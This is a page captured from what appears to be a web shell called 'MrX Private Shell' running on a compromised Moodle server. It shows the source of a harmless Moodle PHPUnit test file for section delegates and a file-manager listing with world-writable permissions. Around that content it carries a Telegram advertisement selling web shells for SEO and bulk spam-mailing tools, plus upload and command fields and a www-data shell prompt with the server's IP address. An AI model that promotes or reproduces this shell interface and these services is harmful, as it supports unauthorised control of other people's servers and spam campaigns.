__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_courseformat;

use test_component\courseformat\sectiondelegate as testsectiondelegate;

/**
 * Section delegate tests.
 *
 * @package    core_courseformat
 * @copyright  2023 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @covers     \core_courseformat\sectiondelegate
 * @coversDefaultClass \core_courseformat\sectiondelegate
 */
final class sectiondelegate_test extends \advanced_testcase {

    /**
     * Setup to ensure that fixtures are loaded.
     */
    public static function setUpBeforeClass(): void {
        global $CFG;
        require_once($CFG->libdir . '/tests/fixtures/sectiondelegatetest.php');
        parent::setUpBeforeClass();
    }

    /**
     * Test that the instance method returns the correct class.
     * @covers ::instance
     */
    public function test_instance(): void {
        global $DB;
        $this->resetAfterTest();

        $course = $this->getDataGenerator()->create_course(['format' => 'topics', 'numsections' => 3]);

        // Section 2 has an existing delegate class.
        course_update_section(
            $course,
            $DB->get_record('course_sections', ['course' => $course->id, 'section' => 2]),
            [
                'component' => 'test_component',
                'itemid' => 1,
            ]
        );

        // Section 3 has a missing delegate class.
        course_update_section(
            $course,
            $DB->get_record('course_sections', ['course' => $course->id, 'section' => 3]),
            [
                'component' => 'missing_component',
                'itemid' => 1,
            ]
        );

        $modinfo = get_fast_modinfo($course->id);
        $sectioninfos = $modinfo->get_section_info_all();

        $this->assertNull(sectiondelegate::instance($sectioninfos[1]));
        $this->assertInstanceOf('\test_component\courseformat\sectiondelegate', sectiondelegate::instance($sectioninfos[2]));
        $this->assertNull(sectiondelegate::instance($sectioninfos[3]));
    }

    /**
     * Test that the instance method returns null when the delegate class is disabled.
     *
     * @covers ::instance
     */
    public function test_instance_disabled(): void {
        global $DB;
        $this->resetAfterTest();

        $course = $this->getDataGenerator()->create_course(['format' => 'topics', 'numsections' => 3]);

        // Section 2 has an existing delegate class.
        course_update_section(
            $course,
            $DB->get_record('course_sections', ['course' => $course->id, 'section' => 2]),
            [
                'component' => 'test_component',
                'itemid' => testsectiondelegate::DISABLEDITEMID,
            ]
        );

        $modinfo = get_fast_modinfo($course->id);
        $sectioninfos = $modinfo->get_section_info_all();

        $this->assertNull(sectiondelegate::instance($sectioninfos[2]));
    }

    /**
     * Test has_delegate_class().
     *
     * @covers ::has_delegate_class
     */
    public function test_has_delegate_class(): void {
        $this->assertFalse(sectiondelegate::has_delegate_class('missing_component'));
        $this->assertFalse(sectiondelegate::has_delegate_class('mod_label'));
        $this->assertTrue(sectiondelegate::has_delegate_class('test_component'));
    }

    /**
     * Test get_section_action_menu().
     *
     * @covers ::get_section_action_menu
     */
    public function test_get_section_action_menu(): void {
        global $DB, $PAGE;

        $this->resetAfterTest();

        $course = $this->getDataGenerator()->create_course(['format' => 'topics', 'numsections' => 1]);

        $sectioninfo = formatactions::section($course)->create_delegated('test_component', 1);

        /** @var testsectiondelegate $delegated */
        $delegated = $sectioninfo->get_component_instance();

        $format = course_get_format($course);

        $outputclass = $format->get_output_classname('content\\section\\controlmenu');
        /** @var \core_courseformat\output\local\content\section\controlmenu $controlmenu */
        $controlmenu = new $outputclass($format, $sectioninfo);
        $renderer = $PAGE->get_renderer('format_' . $course->format);
        $sectionmenu = $controlmenu->get_action_menu($renderer);

        // When the delegate class returns the same action menu, calculated from the given $controlmenu.
        $result = $delegated->get_section_action_menu($format, $controlmenu, $renderer);
        // The $result and $sectionmenu are the same but can't be compared directly because they have different ids.
        $this->assertEquals(
            count($result->get_primary_actions()),
            count($sectionmenu->get_primary_actions()),
        );
        $this->assertEquals(
            count($result->get_secondary_actions()),
            count($sectionmenu->get_secondary_actions())
        );
        $this->assertEquals(
            $result->get_secondary_actions()[0]->url,
            $sectionmenu->get_secondary_actions()[0]->url
        );

        // When the delegated class returns an empty action menu.
        $delegated->set_section_action_menu(testsectiondelegate::MENUEMPTY);
        $result = $delegated->get_section_action_menu($format, $controlmenu, $renderer);
        // The $result and $sectionmenu are different.
        $this->assertNotEquals(
            count($result->get_secondary_actions()),
            count($sectionmenu->get_secondary_actions())
        );

        // When the delegated class return a null action menu.
        $delegated->set_section_action_menu(null);
        $result = $delegated->get_section_action_menu($format, $controlmenu, $renderer);
        $this->assertNull($result);
    }

    /**
     * Test get_parent_section().
     *
     * @covers ::get_parent_section
     */
    public function test_get_parent_section(): void {
        $this->resetAfterTest();

        $course = $this->getDataGenerator()->create_course(['format' => 'topics', 'numsections' => 1]);
        $sectioninfo = formatactions::section($course)->create_delegated('test_component', 1);

        /** @var testsectiondelegate $delegated */
        $delegated = $sectioninfo->get_component_instance();

        $this->assertNull($delegated->get_parent_section());
    }
}

Filemanager

Name Type Size Permission Actions
behat Folder 0777
external Folder 0777
fixtures Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
base_test.php File 45.52 KB 0777
formatactions_test.php File 5.54 KB 0777
sectiondelegate_test.php File 6.85 KB 0777
stateactions_test.php File 65.1 KB 0777
stateupdates_test.php File 13.49 KB 0777
Filemanager